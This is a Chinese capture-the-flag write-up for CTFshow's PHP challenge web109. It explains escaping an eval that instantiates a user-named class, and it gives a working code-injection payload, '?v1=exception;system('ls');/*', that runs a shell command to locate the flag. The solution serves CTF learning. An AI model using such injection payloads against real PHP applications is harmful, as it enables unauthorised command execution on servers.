目录

  • 源码
  • 思路
  • 题解
  • 总结

源码

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:02:34*/highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){eval("echo new $v1($v2());");}}?>

思路

这题的话,发现对v1,v2没什么限制,是不是就可以任意构造方法了,我们只要任意new一个内置类,后面的v2就逃逸出来了,但是大部分内置类都需要传入参数,不然实例化的时候执行 __construct,没有参数的话会导致执行失败,程序就停止了.

怎么找符合条件的内部类呢,正常情况下类不能直接用echo输出,除非类中有__toString(把类当作字符串使用时触发),而且构造方法和返回结果一样

下面的代码我们可以控制__toString的返回值,只要满足以下条件的内置类就没问题了

class kradress{public $test;public function __construct($a){$this->test = $a;}public function __toString(){return $this->test;}
}// 0=phpinfo 返回phpinfo页面
eval("echo new kradress($_GET[0]);");

出现报错还是可以继续执行的内置类也可以

以下内置类满足条件

Exception //有报错
ReflectionClass //需要传入一个已有的类或者直接执行函数

题解

解法有很多 `?v1=exception;system('ls');/*&v2=a` ![在这里插入图片描述](https://img-blog.csdnimg.cn/0c0e76b8d4c04f10b7bc773f0bfa5341.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAS3JhZHJlc3M=,size_20,color_FFFFFF,t_70,g_se,x_16) 访问fl36dg.txt,拿到flag


总结

水题

CTFshow php特性 web109相关推荐

  1. ctfshow php特性 下

    目录 web113 web114 web115 web123(php解析特性) web125 web126 web127(php解析特性) web128 web129 web130 web131 we ...

  2. ctfshow php特性(89——150plus)

    web89 这题的逻辑是如果存在$_GET['num'],则用正则表达式匹配$num中的值,如果成功匹配则程序终止于"no no no",否则进行下一步,如果intval($num ...

  3. ctfshow php特性 web89-web115 web123-150wp

    php特性 参考博客仍然是南神博客 文章目录 php特性 web89 web90 web91 web92 web93 web94 web95 web96 web97 web98 web99 web10 ...

  4. CTFshow php特性 web150plus

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  5. CTFshow php特性 web150

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  6. CTFshow php特性 web147

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  7. CTFshow php特性 web140

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  8. CTFshow php特性 web138

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  9. CTFshow php特性 web137

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

最新文章

  1. 搭建Ubuntu18.04+Anaconda3.x+Pycharm+SimpleITK(三)
  2. zcmu1550(字符串最小表示法)
  3. oracle中创建实体,生成实体-SqlSugar 4.x-文档园
  4. 主板有电无法启动_电脑无法开机?这篇文章让你省下几百修理费
  5. jar httpclient 少包,此处 区别 common-http包
  6. 记一次PHP服务器500错误的解决方法
  7. pragma pack对齐方式详细介绍
  8. 关于vc6++编译DDK驱动出现的问题fatal error C1083: Cannot open include file: 'specstrings.h': No such file or dir
  9. 【Javascript】用 js 写一个模板引擎
  10. 图书信息管理系统(MVC设计模式)
  11. 实现主人领养宠物并带宠物去玩,狗狗叼飞碟,企鹅去南极游泳
  12. eigen求特征值和特征向量
  13. 资源管理Placement部署(Nova)
  14. 在家谱中查找关系远近
  15. java生成随机数字和字母
  16. 语音转文字转换器怎么用,免费的语音转文字方法介绍
  17. 关于jeecg 项目的莫名其妙的问题
  18. 文件服务器均衡负载,文件服务器均衡负载
  19. ubuntu使用xopen软件
  20. nlp中文本相似度匹配

热门文章

  1. 2014/08/13 – Backbonejs
  2. [置顶] Spring中DI设置器注入
  3. 快速构建Windows 8风格应用14-ShareContract概述及原理
  4. rsync与inotify实现数据实时同步
  5. http://miicaa.yopwork.com/help/overall/
  6. 融入产业生态的靶向孵化
  7. SVN服务器从Windows迁移到Linux
  8. LeetCode - Palindrome Number
  9. c# 因其保护级别而不可访问。只能处理公共类型。
  10. 30个Oracle语句优化规则详解